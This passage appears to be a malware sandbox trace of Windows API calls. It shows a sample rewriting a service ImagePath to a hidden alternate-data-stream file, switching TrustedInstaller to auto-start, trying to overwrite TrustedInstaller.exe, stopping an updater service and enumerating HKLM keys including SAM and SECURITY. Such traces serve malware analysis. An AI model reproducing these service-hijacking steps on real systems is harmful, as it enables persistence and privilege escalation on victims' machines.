lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.785] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.786] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0233.786] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0233.786] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1970, cbData=0x1) returned 0x6 [0233.786] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0233.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0233.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0233.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0233.786] LocalFree (hMem=0x7f03d0) returned 0x0 [0233.786] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1850, cbData=0x2f) returned 0x6 [0233.786] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0233.786] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0233.787] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0233.788] RegCloseKey (hKey=0xc4) returned 0x0 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0233.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0233.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0233.788] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0233.788] GetLastError () returned 0x5 [0233.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0233.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0233.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0233.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0233.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0233.791] NtClose (Handle=0xc4) returned 0x0 [0233.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0233.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0233.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0234.377] NtClose (Handle=0xc4) returned 0x0 [0234.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0234.377] NtClose (Handle=0x150) returned 0x0 [0234.377] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x2710) returned 0x0 [0234.748] NtClose (Handle=0x154) returned 0x0 [0234.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0234.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0234.749] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0234.749] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.749] GetLastError () returned 0x5 [0234.749] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0234.750] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0234.750] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0234.750] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x803990 [0234.750] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0234.750] GetLastError () returned 0x425 [0234.750] CloseServiceHandle (hSCObject=0x803990) returned 1 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0234.751] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0234.751] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.751] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.751] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.751] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0234.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.752] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.752] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.752] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0234.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.753] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0234.753] RegCloseKey (hKey=0x80000002) returned 0x0 [0234.753] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0234.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0234.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0234.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.753] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0234.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0234.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0234.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.753] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0234.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0234.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0234.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.754] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.754] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.754] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.754] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0234.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.755] RtlAllocateHeap 